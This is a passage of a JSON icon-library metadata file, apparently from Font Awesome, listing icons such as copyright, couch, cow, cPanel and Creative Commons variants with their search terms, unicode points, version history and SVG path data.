        "path": "M384 336H192c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16l140.1 0L400 115.9V320c0 8.8-7.2 16-16 16zM192 384H384c35.3 0 64-28.7 64-64V115.9c0-12.7-5.1-24.9-14.1-33.9L366.1 14.1c-9-9-21.2-14.1-33.9-14.1H192c-35.3 0-64 28.7-64 64V320c0 35.3 28.7 64 64 64zM64 128c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H256c35.3 0 64-28.7 64-64V416H272v32c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V192c0-8.8 7.2-16 16-16H96V128H64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "copyright": {
    "aliases": {
      "unicodes": {
        "composite": ["a9"],
        "secondary": ["10f1f9"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["brand", "c", "copyright", "mark", "register", "trademark"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1f9",
    "label": "Copyright",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM199.4 312.6c31.2 31.2 81.9 31.2 113.1 0c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9c-50 50-131 50-181 0s-50-131 0-181s131-50 181 0c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0c-31.2-31.2-81.9-31.2-113.1 0s-31.2 81.9 0 113.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM199.4 312.6c31.2 31.2 81.9 31.2 113.1 0c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9c-50 50-131 50-181 0s-50-131 0-181s131-50 181 0c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0c-31.2-31.2-81.9-31.2-113.1 0s-31.2 81.9 0 113.1z"
      },
      "regular": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM199.4 312.6c-31.2-31.2-31.2-81.9 0-113.1s81.9-31.2 113.1 0c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9c-50-50-131-50-181 0s-50 131 0 181s131 50 181 0c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0c-31.2 31.2-81.9 31.2-113.1 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM199.4 312.6c-31.2-31.2-31.2-81.9 0-113.1s81.9-31.2 113.1 0c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9c-50-50-131-50-181 0s-50 131 0 181s131 50 181 0c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0c-31.2 31.2-81.9 31.2-113.1 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "cotton-bureau": {
    "changes": ["5.10.0"],
    "ligatures": [],
    "search": {
      "terms": ["clothing", "t-shirts", "tshirts"]
    },
    "styles": ["brands"],
    "unicode": "f89e",
    "label": "Cotton Bureau",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z"
      }
    },
    "free": ["brands"]
  },
  "couch": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4b8"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chair", "cushion", "furniture", "relax", "sofa"]
    },
    "styles": ["solid"],
    "unicode": "f4b8",
    "label": "Couch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 160C64 89.3 121.3 32 192 32H448c70.7 0 128 57.3 128 128v33.6c-36.5 7.4-64 39.7-64 78.4v48H128V272c0-38.7-27.5-71-64-78.4V160zM544 272c0-20.9 13.4-38.7 32-45.3c5-1.8 10.4-2.7 16-2.7c26.5 0 48 21.5 48 48V448c0 17.7-14.3 32-32 32H576c-17.7 0-32-14.3-32-32H96c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V272c0-26.5 21.5-48 48-48c5.6 0 11 1 16 2.7c18.6 6.6 32 24.4 32 45.3v48 32h32H512h32V320 272z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 160C64 89.3 121.3 32 192 32H448c70.7 0 128 57.3 128 128v33.6c-36.5 7.4-64 39.7-64 78.4v48H128V272c0-38.7-27.5-71-64-78.4V160zM544 272c0-20.9 13.4-38.7 32-45.3c5-1.8 10.4-2.7 16-2.7c26.5 0 48 21.5 48 48V448c0 17.7-14.3 32-32 32H576c-17.7 0-32-14.3-32-32H96c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V272c0-26.5 21.5-48 48-48c5.6 0 11 1 16 2.7c18.6 6.6 32 24.4 32 45.3v48 32h32H512h32V320 272z"
      }
    },
    "free": ["solid"]
  },
  "cow": {
    "aliases": {
      "unicodes": {
        "composite": ["1f404"],
        "secondary": ["10f6c8"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "agriculture",
        "animal",
        "beef",
        "bovine",
        "co",
        "cow",
        "farm",
        "fauna",
        "livestock",
        "mammal",
        "milk",
        "moo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6c8",
    "label": "Cow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 224v32V416c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V327.8c9.9 6.6 20.6 12 32 16.1V368c0 8.8 7.2 16 16 16s16-7.2 16-16V351.1c5.3 .6 10.6 .9 16 .9s10.7-.3 16-.9V368c0 8.8 7.2 16 16 16s16-7.2 16-16V343.8c11.4-4 22.1-9.4 32-16.1V416c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V256l32 32v49.5c0 9.5 2.8 18.7 8.1 26.6L530 427c8.8 13.1 23.5 21 39.3 21c22.5 0 41.9-15.9 46.3-38l20.3-101.6c2.6-13-.3-26.5-8-37.3l-3.9-5.5V184c0-13.3-10.7-24-24-24s-24 10.7-24 24v14.4l-52.9-74.1C496 86.5 452.4 64 405.9 64H272 256 192 144C77.7 64 24 117.7 24 184v54C9.4 249.8 0 267.8 0 288v17.6c0 8 6.4 14.4 14.4 14.4C46.2 320 72 294.2 72 262.4V256 224 184c0-24.3 12.1-45.8 30.5-58.9C98.3 135.9 96 147.7 96 160v64zM560 336a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM166.6 166.6c-4.2-4.2-6.6-10-6.6-16c0-12.5 10.1-22.6 22.6-22.6H361.4c12.5 0 22.6 10.1 22.6 22.6c0 6-2.4 11.8-6.6 16l-23.4 23.4C332.2 211.8 302.7 224 272 224s-60.2-12.2-81.9-33.9l-23.4-23.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 224v32V416c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V327.8c9.9 6.6 20.6 12 32 16.1V368c0 8.8 7.2 16 16 16s16-7.2 16-16V351.1c5.3 .6 10.6 .9 16 .9s10.7-.3 16-.9V368c0 8.8 7.2 16 16 16s16-7.2 16-16V343.8c11.4-4 22.1-9.4 32-16.1V416c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V256l32 32v49.5c0 9.5 2.8 18.7 8.1 26.6L530 427c8.8 13.1 23.5 21 39.3 21c22.5 0 41.9-15.9 46.3-38l20.3-101.6c2.6-13-.3-26.5-8-37.3l-3.9-5.5V184c0-13.3-10.7-24-24-24s-24 10.7-24 24v14.4l-52.9-74.1C496 86.5 452.4 64 405.9 64H272 256 192 144C77.7 64 24 117.7 24 184v54C9.4 249.8 0 267.8 0 288v17.6c0 8 6.4 14.4 14.4 14.4C46.2 320 72 294.2 72 262.4V256 224 184c0-24.3 12.1-45.8 30.5-58.9C98.3 135.9 96 147.7 96 160v64zM560 336a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zM166.6 166.6c-4.2-4.2-6.6-10-6.6-16c0-12.5 10.1-22.6 22.6-22.6H361.4c12.5 0 22.6 10.1 22.6 22.6c0 6-2.4 11.8-6.6 16l-23.4 23.4C332.2 211.8 302.7 224 272 224s-60.2-12.2-81.9-33.9l-23.4-23.4z"
      }
    },
    "free": ["solid"]
  },
  "cpanel": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f388",
    "label": "cPanel",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons": {
    "changes": ["4.4.0", "5.0.0", "5.0.11", "5.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f25e",
    "label": "Creative Commons",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-by": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4e7",
    "label": "Creative Commons Attribution",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-nc": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4e8",
    "label": "Creative Commons Noncommercial",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-nc-eu": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4e9",
    "label": "Creative Commons Noncommercial (Euro Sign)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z"
      }
    },
    "free": ["brands"]
  },
  "creative-commons-nc-jp": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4ea",
    "label": "Creative Commons Noncommercial (Yen Sign)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
